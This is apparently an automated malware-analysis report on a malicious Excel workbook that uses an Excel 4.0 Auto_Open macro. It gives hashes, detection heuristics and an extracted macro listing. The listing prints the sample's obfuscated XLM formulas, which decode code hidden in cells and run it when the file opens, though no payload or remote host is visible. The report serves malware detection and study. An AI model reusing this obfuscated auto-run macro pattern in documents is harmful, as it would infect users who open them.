Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b3b67ebd3644bdf…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:42:01 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 5bc2a50a01d8e2540735b76dc843b0c4 SHA-1: 36ee4b0b77722f538e603da05fb4150e6f9815b5 SHA-256: 8b3b67ebd3644bdf8abce5ff2b448d621b663dab35beb56e6574f9ea1607dbd8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a common technique for executing malicious code. The `RUN` function API is also present, suggesting the macro attempts to launch an external process. Without further script content, the exact payload and execution method remain unclear, leading to an 'unknown family' classification.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6706 bytes
SHA-256: 39fb2a70cd13b5b161c7828ddf89f047a3af8ab91b33c09d1231eb6637992df6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QTu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H172 
' 0018     27 LABEL : Cell Value, String Constant - dEyzltbZCTQZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - HwEMrOY len=0 
' 0018     25 LABEL : Cell Value, String Constant - HwZEPluTzC len=0 
' 0018     27 LABEL : Cell Value, String Constant - IILahMbWISlY len=0 
' 0018     22 LABEL : Cell Value, String Constant - JKUJtdD len=0 
' 0018     27 LABEL : Cell Value, String Constant - KvwFJfYbJQpl len=0 
' 0018     21 LABEL : Cell Value, String Constant - MFISeE len=0 
' 0018     23 LABEL : Cell Value, String Constant - OjHZToOx len=0 
' 0018     23 LABEL : Cell Value, String Constant - oTbVUVup len=0 
' 0018     24 LABEL : Cell Value, String Constant - pRUAqxgjp len=0 
' 0018     21 LABEL : Cell Value, String Constant - Pvqiry len=0 
' 0018     27 LABEL : Cell Value, String Constant - qAHRpCHMtCea len=0 
' 0018     24 LABEL : Cell Value, String Constant - QASgNSRUk len=0 
' 0018     21 LABEL : Cell Value, String Constant - qBdoDu len=0 
' 0018     25 LABEL : Cell Value, String Constant - REcpjwHRva len=0 
' 0018     25 LABEL : Cell Value, String Constant - tsXazzqcgq len=0 
' 0018     25 LABEL : Cell Value, String Constant - WGfInkOULc len=0 
' 0018     23 LABEL : Cell Value, String Constant - WQSXiFpu len=0 
' 0018     20 LABEL : Cell Value, String Constant - YnNjK len=0 
' 0018     27 LABEL : Cell Value, String Constant - YUubQyqUrzfB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QTu,R42,"",-472.00000000000000000000
'  QTu,R43,"",-877.00000000000000000000
'  QTu,R44,"",146.00000000000000000000
'  QTu,R45,"",-254.00000000000000000000
'  QTu,R46,"",-62.00000000000000000000
'  QTu,R47,"",-81.00000000000000000000
'  QTu,H87,"SET.NAME("KvwFJfYbJQpl",0+VALUE("0"))",""
'  QTu,H92,"SET.NAME("qAHRpCHMtCea",KvwFJfYbJQpl)",""
'  QTu,H96,"SET.NAME("tsXazzqcgq",KvwFJfYbJQpl)",""
'  QTu,H98,"SET.NAME("HwEMrOY",COUNTA(HwZEPluTzC))",""
'  QTu,H100,"SET.NAME("YUubQyqUrzfB",COUNTA(MFISeE))",""
'  QTu,H105,[],""
'  QTu,H108,"SET.NAME("QASgNSRUk","")",""
'  QTu,H111,"qAHRpCHMtCea",""
'  QTu,H113,"SET.NAME("JKUJtdD",HLOOKUP("*",HwZEPluTzC,qAHRpCHMtCea,FALSE))",""
'  QTu,H117,"pRUAqxgjp",""
'  QTu,H121,"SET.NAME("IILahMbWISlY",KvwFJfYbJQpl)",""
'  QTu,H125,[],""
'  QTu,H127,"IILahMbWISlY",""
'  QTu,H129,"qBdoDu",""
'  QTu,H133,"dEyzltbZCTQZ",""
'  QTu,H138,"Pvqiry",""
'  QTu,H140,"SET.NAME("REcpjwHRva",VALUE(HLOOKUP("*",MFISeE,Pvqiry,FALSE)))",""
'  QTu,H144,"oTbVUVup",""
'  QTu,H147,"QASgNSRUk",""
'  QTu,H152,"tsXazzqcgq",""
'  QTu,H155,NEXT(),""
'  QTu,H158,"WQSXiFpu",""
'  QTu,H160,[],""
'  QTu,H163,"WGfInkOULc",""
'  QTu,H165,NEXT(),""
'  QTu,H169,RETURN(),""
'  QTu,H198,"SET.NAME("YnNjK",H87)",""
'  QTu,H200,"HwZEPluTzC",""
'  QTu,H204,"SET.NAME("MFISeE",R57C11)",""
'  QTu,H208,"SET.NAME("WGfInkOULc",219)",""
'  QTu,H213,"SET.NAME("OjHZToOx",8)",""
'  QTu,H218,YnNjK(),""
'  QTu,H219,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.